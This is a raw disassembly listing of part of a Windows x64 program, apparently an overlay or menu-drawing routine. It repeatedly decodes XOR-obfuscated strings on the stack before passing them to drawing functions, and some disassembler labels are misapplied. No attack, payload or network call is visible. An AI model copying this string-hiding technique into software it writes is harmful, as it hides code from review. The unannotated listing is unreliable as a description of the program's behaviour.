lea rcx, [rbp + 0xcc0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xcd0], rax
mov qword [rbp + 0x10], r8
xor r8d, r8d
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0xcc0]
mov qword [rbp + 0xcd8], rax
xorps xmm0, xmmword [rbp + 0xcd0]
movdqa xmmword [rbp + 0xcc0], xmm0
call fcn.140031530
test al, al
je 0x14004ebe4
mov dword [0x1403a2288], r13d
jmp 0x14004ebf1
mov byte [rbp + 0x20], r13b
jmp 0x14004f217
movss xmm6, dword [0x14016f574]
movabs rdi, 0x729e6a1287b9b5be
cmp dword [0x1403a2288], 2
jne 0x14004f8aa
movss xmm1, dword [0x14016f5d4]
lea rcx, [rbp + 0x2b0]
addss xmm12, dword [0x14016f468]
movaps xmm2, xmm6
call fcn.140001d60
mov rcx, rax
call fcn.140016fb0
mov edx, 0xff
mov dword [rsp + 0x20], esi
mov r9d, edx
lea rcx, [rbp + 0xdb0]
mov r8d, edx
call fcn.140030420
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xdc0]
mov r8d, edx
mov rbx, rax
call fcn.140030420
movss xmm2, dword [0x14016f4b4]
mov r9, rax
xor eax, eax
mov dword [rsp + 0x38], esi
mov byte [rbp], al
movaps xmm1, xmm7
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xb942a3a2d39af629
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xdd0], rcx
mov qword [rbp + 0x10], rdi
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xdd8], rcx
lea rcx, [rbp + 0xdd0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xde0], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xde8], rax
movdqa xmm0, xmmword [rbp + 0xde0]
xorps xmm0, xmmword [rbp + 0xdd0]
movdqa xmmword [rbp + 0xdd0], xmm0
movss xmm0, dword [0x14016f4ac]
movss dword [rsp + 0x30], xmm0
movss xmm0, dword [0x14016f4c0]
movss dword [rsp + 0x28], xmm0
mov qword [rsp + 0x20], rbx
call fcn.14003d9a0
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x14004f720
movss xmm2, dword [0x14016f594]
lea rcx, [rbp + 0x2b8]
movss xmm1, dword [0x14016f5b0]
call fcn.140001d60
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xdf0]
mov r8d, edx
movss xmm6, dword [rax]
movss xmm7, dword [rax + 4]
call fcn.140030420
movss xmm3, dword [0x14016f478]
lea r8, [rbp + 0x10]
movabs rsi, 0xdaf40e281c80c3c8
unpcklps xmm6, xmm7
movabs rbx, 0xb925cdcbb7fb9965
lea rdx, [rbp + 0x2200]
movups xmm2, xmmword [rax]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x9942a3a2c38ffc22
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2200], rax
movabs rax, 0x14f02332f5dcc6eb
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2208], rax
movabs rax, 0xd106f6115ac31358
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2210], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2218], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2220], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2228], rax
movabs rax, 0xd106f6115ac31337
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2230], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov rcx, qword [0x1403a2268]
mov qword [rbp + 0x2238], rax
vmovdqu ymm0, ymmword [rbp + 0x2220]
vpxor ymm1, ymm0, ymmword [rbp + 0x2200]
vmovss xmm0, dword [0x14016f4ec]
vmovss dword [rsp + 0x28], xmm0
vmovsd qword [rsp + 0x20], xmm6
vmovdqa ymmword [rbp + 0x2200], ymm1
vmovdqa xmmword [rbp + 0x10], xmm2
vzeroupper
call fcn.14004c590
comiss xmm12, dword [0x14016f630]
jbe 0x14004f734
mov byte [reloc.WS2_32.dll_accept], 0
movaps xmm12, xmm14
mov byte [0x1403a2724], r13b
jmp 0x14004f741
movabs rbx, 0xb925cdcbb7fb9965
movabs rsi, 0xdaf40e281c80c3c8
cmp byte [0x1403a2724], 0
je 0x14004f8aa
movss xmm2, dword [0x14016f594]
lea rcx, [rbp + 0x2c0]
movss xmm1, dword [0x14016f5a4]
call fcn.140001d60
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xe00]
mov r8d, edx
movss xmm6, dword [rax]
movss xmm7, dword [rax + 4]
call fcn.140030420
movss xmm3, dword [0x14016f478]
lea r8, [rbp + 0x10]
unpcklps xmm6, xmm7
lea rdx, [rbp + 0x2240]
movups xmm2, xmmword [rax]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x9942a3a2c38ffc36
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2240], rax
movabs rax, 0x14f10562d499c5eb
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2248], rax
movabs rax, 0xd106f6115ac36152
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2250], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2258], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2260], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2268], rax
movabs rax, 0xd106f6115ac31337
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2270], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov rcx, qword [0x1403a2268]
mov qword [rbp + 0x2278], rax
vmovdqu ymm0, ymmword [rbp + 0x2260]
vpxor ymm1, ymm0, ymmword [rbp + 0x2240]
vmovss xmm0, dword [0x14016f4ec]
vmovss dword [rsp + 0x28], xmm0
vmovsd qword [rsp + 0x20], xmm6
vmovdqa ymmword [rbp + 0x2240], ymm1
vmovdqa xmmword [rbp + 0x10], xmm2
vzeroupper
call fcn.14004c590
comiss xmm12, dword [0x14016f630]
jbe 0x14004f8aa
mov byte [0x1403a2724], 0
movaps xmm12, xmm14
mov dword [0x1403a2288], 3
jmp 0x14004f8b7
cmp dword [0x1403a2288], 3
jne 0x140051184
call fcn.140013290
mov edx, reloc.WS2_32.dll_recv
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xe10]
mov r8d, edx
mov rsi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x1403a10b4]
lea rcx, [rbp + 0x2c8]
movss xmm1, dword [0x14016f544]
mov edi, eax
call fcn.140001d60
movaps xmm2, xmm14
lea rcx, [rbp + 0x2d0]
movaps xmm1, xmm14
mov rbx, rax
call fcn.140001d60
movss xmm0, dword [0x14016f4e0]
mov r9d, edi
mov dword [rsp + 0x28], 0
mov r8, rbx
mov rdx, rax
movss dword [rsp + 0x20], xmm0
mov rcx, rsi
call fcn.140024370
movss xmm0, dword [0x14016f50c]
lea rcx, [rbp + 0x2d8]
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.140001d60
mov rcx, rax
call fcn.140016fb0
call fcn.1400172a0
mov rcx, qword [rbp + 0x150]
call fcn.140012cb0
movaps xmm2, xmm15
lea rcx, [rbp + 0x2e0]
movaps xmm1, xmm15
call fcn.140001d60
cmp dword [0x1403a2288], 3
lea rdx, [0x14016a064]
mov r8, rax
sete cl
call fcn.1400337f0
test al, al
je 0x14004f9b0
mov dword [0x1403a2288], 3
movaps xmm2, xmm15
lea rcx, [rbp + 0x2e8]
movaps xmm1, xmm15
call fcn.140001d60
cmp dword [0x1403a2288], 4
lea rdx, [0x14016a068]
mov r8, rax
sete cl
call fcn.1400337f0
test al, al
je 0x14004f9eb
mov dword [0x1403a2288], 4
movaps xmm2, xmm15
lea rcx, [rbp + 0x2f0]
movaps xmm1, xmm15
call fcn.140001d60
cmp dword [0x1403a2288], 5
lea rdx, [0x14016a06c]
mov r8, rax
sete cl
call fcn.1400337f0
test al, al
je 0x14004fa26
mov dword [0x1403a2288], 5
movaps xmm2, xmm15
lea rcx, [rbp + 0x2f8]
movaps xmm1, xmm15
call fcn.140001d60
cmp dword [0x1403a2288], 6
lea rdx, [0x14016a070]
mov r8, rax
sete cl
call fcn.1400337f0
test al, al
je 0x14004fa61
mov dword [0x1403a2288], 6
movaps xmm2, xmm15
lea rcx, [rbp + 0x300]
movaps xmm1, xmm15
call fcn.140001d60
cmp dword [0x1403a2288], 7
lea rdx, [0x14016a074]
mov r8, rax
sete cl
call fcn.1400337f0
test al, al
je 0x14004fa9c
mov dword [0x1403a2288], 7
call fcn.140012d50
call fcn.140017400
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x308]
movss xmm1, dword [rbp + 0x190]
addss xmm2, dword [0x14016f518]
addss xmm1, dword [0x14016f554]
call fcn.140001d60
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x310]
movss xmm1, dword [rbp + 0x190]
addss xmm2, dword [0x14016f5b4]
addss xmm1, dword [0x14016f62c]
call fcn.140001d60
movaps xmm2, xmm14
lea rcx, [rbp + 0x318]
movaps xmm1, xmm14
call fcn.140001d60
mov edx, 3
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xe20]
mov r8d, edx
mov rbx, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm0, dword [0x14016f530]
lea r8, [rbp + 0x310]
movss dword [rsp + 0x38], xmm14
lea rdx, [rbp + 0x308]
xor esi, esi
mov r9d, eax
mov dword [rsp + 0x30], esi
mov rcx, r14
mov qword [rsp + 0x28], rbx
movss dword [rsp + 0x20], xmm0
call fcn.140025d30
call fcn.140013290
mov edx, 3
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xe30]
mov r8d, edx
mov rbx, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm0, dword [0x14016f4a4]
lea r8, [rbp + 0x310]
movss xmm7, dword [0x14016f488]
lea rdx, [rbp + 0x308]
movss dword [rsp + 0x30], xmm7
mov r9d, eax
mov dword [rsp + 0x28], esi
mov rcx, rbx
movss dword [rsp + 0x20], xmm0
call fcn.140024290
call fcn.140013290
mov rdi, rax
movabs r14, 0x729e6a1287b9b5be
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xb925cdcbb7fb9921
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xe40], rcx
mov qword [rbp + 0x10], r14
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xe48], rcx
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xe50], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xe58], rax
movdqa xmm0, xmmword [rbp + 0xe50]
xorps xmm0, xmmword [rbp + 0xe40]
mov edx, 3
movdqa xmmword [rbp + 0xe40], xmm0
mov r9d, edx
mov dword [rsp + 0x20], 0xff
mov r8d, edx
lea rcx, [rbp + 0xe60]
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f500]
lea rcx, [rbp + 0x320]
movss xmm1, dword [0x14016f558]
mov ebx, eax
call fcn.140001d60
movss xmm6, dword [0x14016f4e8]
lea rcx, [rbp + 0xe40]
mov rdx, qword [0x1403a2278]
mov r9, rax
mov qword [rsp + 0x40], rsi
movaps xmm2, xmm6
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xf0
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0xd649a8acd99af126
mov qword [rbp + 0x10], rax
movabs rax, 0x729e6a1287b9b5d9
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xe70], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xe78], rcx
lea rcx, [rbp + 0xe90]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xe80], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xe88], rax
movdqa xmm0, xmmword [rbp + 0xe80]
xorps xmm0, xmmword [rbp + 0xe70]
movdqa xmmword [rbp + 0xe70], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f500]
lea rcx, [rbp + 0x328]
movss xmm1, dword [0x14016f570]
mov ebx, eax
call fcn.140001d60
mov rdx, qword [0x1403a2268]
lea rcx, [rbp + 0xe70]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x9952a88597a6b23e
mov qword [rbp + 0x10], rax
mov edx, 0xf0
mov rcx, qword [rbp + 0x10]
movabs rax, 0x17f61967d799fceb
mov qword [rbp + 0x2280], rcx
mov r9d, edx
mov qword [rbp + 0x10], rax
mov r8d, edx
mov rcx, qword [rbp + 0x10]
movabs rax, 0xd106f6115ac31353
mov qword [rbp + 0x2288], rcx
movabs rcx, 0xdaf40e281c80c3c8
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2290], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2298], rax
movabs rax, 0xb925cdcbb7fb9965
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x22a0], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x22a8], rax
movabs rax, 0xd106f6115ac31337
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x22b0], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0xea0]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x22b8], rax
vmovdqu ymm0, ymmword [rbp + 0x22a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x2280]
vmovdqa ymmword [rbp + 0x2280], ymm1
mov dword [rsp + 0x20], 0xff
vzeroupper
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f520]
lea rcx, [rbp + 0x330]
movss xmm1, dword [0x14016f564]
mov ebx, eax
call fcn.140001d60
mov rdx, qword [0x1403a2268]
lea rcx, [rbp + 0x2280]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xdc57a28697a6b23e
mov qword [rbp + 0x10], rax
movabs rax, 0x72ea1977e1d8e69e
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xeb0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xeb8], rcx
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xec0], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xec8], rax
movdqa xmm0, xmmword [rbp + 0xec0]
xorps xmm0, xmmword [rbp + 0xeb0]
movdqa xmmword [rbp + 0xeb0], xmm0
mov edx, 0xf0
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xed0]
mov r8d, edx
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f52c]
lea rcx, [rbp + 0x338]
movss xmm1, dword [0x14016f564]
mov ebx, eax
call fcn.140001d60
mov rdx, qword [0x1403a2268]
lea rcx, [rbp + 0xeb0]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xf0
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0xd549b88d97a6b23e
mov qword [rbp + 0x10], rax
movabs rax, 0x17ea0f76e9ec95c7
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x22c0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xd106f6113ea66754
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x22c8], rcx
movabs rcx, 0xdaf40e281c80c3c8
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x22d0], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x22d8], rax
movabs rax, 0xb925cdcbb7fb9965
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x22e0], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x22e8], rax
movabs rax, 0xd106f6115ac31337
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x22f0], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0xee0]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x22f8], rax
vmovdqu ymm0, ymmword [rbp + 0x22e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x22c0]
vmovdqa ymmword [rbp + 0x22c0], ymm1
vzeroupper
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f540]
lea rcx, [rbp + 0x340]
movss xmm1, dword [0x14016f564]
mov ebx, eax
call fcn.140001d60
mov qword [rsp + 0x40], rsi
lea rcx, [rbp + 0x22c0]
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov rdx, qword [0x1403a2268]
mov r9, rax
mov qword [rsp + 0x28], rcx
movaps xmm2, xmm6
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xf0
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0xf063889e97a6b23e
mov qword [rbp + 0x10], rax
movabs rax, 0x729e0e77e3ddf49e
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xef0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xef8], rcx
lea rcx, [rbp + 0xf10]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xf00], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xf08], rax
movdqa xmm0, xmmword [rbp + 0xf00]
xorps xmm0, xmmword [rbp + 0xef0]
movdqa xmmword [rbp + 0xef0], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f554]
lea rcx, [rbp + 0x348]
movss xmm1, dword [0x14016f564]
mov ebx, eax
call fcn.140001d60
mov rdx, qword [0x1403a2268]
lea rcx, [rbp + 0xef0]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xcb55a08297a6b23e
mov qword [rbp + 0x10], rax
movabs rax, 0xfb3a32e3dcc3d1
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x2300], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xb465987037b17c51
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x2308], rcx
movabs rcx, 0xdaf40e281c80c3c8
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2310], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2318], rax
movabs rax, 0xb925cdcbb7fb9965
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2320], rax
mov qword [rbp + 0x10], r14
mov edx, 0xf0
mov rax, qword [rbp + 0x10]
mov r9d, edx
mov qword [rbp + 0x2328], rax
mov r8d, edx
movabs rax, 0xd106f6115ac31337
mov dword [rsp + 0x20], 0xff
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2330], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0xf20]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2338], rax
vmovdqu ymm0, ymmword [rbp + 0x2320]
vpxor ymm1, ymm0, ymmword [rbp + 0x2300]
vmovdqa ymmword [rbp + 0x2300], ymm1
vzeroupper
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f56c]
lea rcx, [rbp + 0x350]
movss xmm1, dword [0x14016f564]
mov ebx, eax
call fcn.140001d60
mov rdx, qword [0x1403a2268]
lea rcx, [rbp + 0x2300]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xf0
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xdc55a2a7d28dfc21
mov qword [rbp + 0x10], rax
movabs rax, 0x22be1961eef495cc
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x2340], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xeb26857828a27f58
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x2348], rcx
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2350], rax
movabs rax, 0xdaf40e281c80c3e0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2358], rax
movabs rax, 0xb925cdcbb7fb9965
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2360], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2368], rax
movabs rax, 0xd106f6115ac31337
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2370], rax
movabs rax, 0xdaf40e281c80c3c8
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2378], rax
vmovdqu ymm0, ymmword [rbp + 0x2360]
vpxor ymm1, ymm0, ymmword [rbp + 0x2340]
vmovdqa ymmword [rbp + 0x2340], ymm1
mov r8d, edx
lea rcx, [rbp + 0xf30]
vzeroupper
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f580]
lea rcx, [rbp + 0x358]
movss xmm1, dword [0x14016f564]
mov ebx, eax
call fcn.140001d60
mov rdx, qword [0x1403a2268]
lea rcx, [rbp + 0x2340]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xf0
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x9941a8a5d99af535
mov qword [rbp + 0x10], rax
movabs rax, 0x52ed0f75e9d8ddfd
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x2380], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xa57e935f7ab17c71
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x2388], rcx
lea rcx, [rbp + 0xf40]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2390], rax
movabs rax, 0xda917a4978f096e8
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2398], rax
movabs rax, 0xb925cdcbb7fb9965
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x23a0], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x23a8], rax
movabs rax, 0xd106f6115ac31337
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x23b0], rax
movabs rax, 0xdaf40e281c80c3c8
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x23b8], rax
vmovdqu ymm0, ymmword [rbp + 0x23a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x2380]
vmovdqa ymmword [rbp + 0x2380], ymm1
vzeroupper
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f5d0]
lea rcx, [rbp + 0x360]
movss xmm1, dword [0x14016f564]
mov ebx, eax
call fcn.140001d60
mov qword [rsp + 0x40], rsi
lea rcx, [rbp + 0x2380]
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rdx, qword [0x1403a2268]
mov r9, rax
movaps xmm2, xmm6
mov dword [rsp + 0x20], ebx
mov rcx, rdi
call fcn.140024630
call fcn.140013290
mov edx, 3
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xf50]
mov r8d, edx
mov rdi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f5d0]
lea rcx, [rbp + 0x368]
movss xmm1, dword [0x14016f548]
mov ebx, eax
call fcn.140001d60
mov r14, qword [rbp + 0x150]
lea rcx, [0x14016a078]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov rdx, r14
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x370]
movss xmm1, dword [rbp + 0x190]
addss xmm2, dword [0x14016f5e4]
addss xmm1, dword [0x14016f554]
call fcn.140001d60
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x378]
movss xmm1, dword [rbp + 0x190]
addss xmm2, dword [0x14016f61c]
addss xmm1, dword [0x14016f5e8]
call fcn.140001d60
call fcn.140013290
mov edx, 0x5a
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0xf60]
mov r8d, edx
mov rbx, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm0, dword [0x14016f4b4]
lea r8, [rbp + 0x378]
movss dword [rsp + 0x30], xmm7
lea rdx, [rbp + 0x370]
mov dword [rsp + 0x28], esi
mov r9d, eax
mov rcx, rbx
movss dword [rsp + 0x20], xmm0
call fcn.140024290
call fcn.140013290
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xf86b8486e2b7d52c
mov qword [rbp + 0x10], rax
movabs rax, 0x729e5a3cb699fcea
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xf70], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0xf78], rcx
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0xf80], rax
lea rcx, [rbp + 0xf90]
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
